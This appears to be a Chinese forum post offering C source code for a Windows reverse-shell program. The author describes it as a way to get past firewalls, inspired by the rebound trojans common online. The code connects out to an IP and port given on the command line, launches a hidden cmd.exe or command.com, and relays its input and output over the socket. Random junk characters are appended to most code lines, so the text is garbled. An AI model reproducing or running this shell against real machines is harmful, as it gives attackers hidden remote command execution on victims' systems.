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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lz9t9AoB  
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/* ============================== G#pRBA^  
Rebound port in Windows NT u{o!#_o64  
By wind,2006/7 S^Z[w|1  
===============================*/ 0` {6~p  
#include F9Ag687w  
#include 9w=GB?/  
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#pragma comment(lib,"wsock32.lib") oVLgHB\zL  
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void OutputShell(); i: ZL0nH-  
SOCKET sClient; jB17]OCN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H -sJt:  
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void main(int argc,char **argv) #iOoi9(  
{ =nYd|Ok  
WSADATA stWsaData; :|:Disg  
int nRet; -H3tBEvoI  
SOCKADDR_IN stSaiClient,stSaiServer; K;u<-?En  
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if(argc != 3) v){&g5djl  
{ f(h nomn  
printf("Useage:\n\rRebound DestIP DestPort\n"); &O'6va  
return; gqje]Zc<  
} lKMOsr@l  
;: a>#{N  
WSAStartup(MAKEWORD(2,2),&stWsaData); E2s lpo  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5;5DEMe  
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stSaiClient.sin_family = AF_INET; Bw31h3yB  
stSaiClient.sin_port = htons(0); rSUarfZ<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GN4'LU  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N;9m&)@JR'  
{ 93-UA.+g  
printf("Bind Socket Failed!\n"); ) /kf  
return; ' {L5 3cH=  
} S`Jo^!VJ4  
cu4&*{  
stSaiServer.sin_family = AF_INET; 8X@p?43  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S0\;FmLIc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bm>,$GW(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K 9ytot  
{ 'E{n1[b  
printf("Connect Error!"); nVF?.c  
return; Dk!;s8}*c  
} JM-spi o  
OutputShell(); cY|?iEVs)  
} pcd*K)  
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void OutputShell() ,&$+ {3  
{ WB2An7i@"{  
char szBuff[1024]; W)dQ yZ>J  
SECURITY_ATTRIBUTES stSecurityAttributes; ad "yo=%1  
OSVERSIONINFO stOsversionInfo; )Jx+R ;Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8IYn9<L  
STARTUPINFO stStartupInfo; Q`"gKBN1  
char *szShell; QkXnXu  
PROCESS_INFORMATION stProcessInformation; J6eF7 fa  
unsigned long lBytesRead; 8\?7k  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iNX%Zk[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wo($7'.@  
stSecurityAttributes.lpSecurityDescriptor = 0; N02X*NC  
stSecurityAttributes.bInheritHandle = TRUE; 0j^QY6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z*EK56.b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I%]~]a  
jN\} l|;q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *;Q IAd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $TON`+lB  
stStartupInfo.wShowWindow = SW_HIDE; [Bn C_^[W  
stStartupInfo.hStdInput = hReadPipe; ra L!}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =.=4P~T&  
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GetVersionEx(&stOsversionInfo); 9qUc{ydt  
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switch(stOsversionInfo.dwPlatformId) "HCJ!  
{ cFcn61x-  
case 1: :Ve>tZeW  
szShell = "command.com"; R?)M#^"W  
break; < j}n/G]  
default: sN`2"t/s  
szShell = "cmd.exe"; _MF:?p,l  
break; 3*< O-Jr  
} aDrF" j  
s}8(__|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W(h].'N  
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send(sClient,szMsg,77,0); `SdvX n  
while(1) Aofk<O!M  
{ f tS^|%p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S VCTiG8t  
if(lBytesRead) &cnciEw1  
{ pCXceNFo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +Bg$]~ T  
send(sClient,szBuff,lBytesRead,0); Lnin;0~{  
} T r|B:)X  
else ?b?6/_W~R  
{ ({XB,Rm  
lBytesRead=recv(sClient,szBuff,1024,0); h<)YZ[;x  
if(lBytesRead<=0) break; nQe^Bn  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o~Jce$ X  
} ETt7?,x@  
} bXSsN\:Y@[  
x*]&Ca0+  
return; >o=O^:/L  
}
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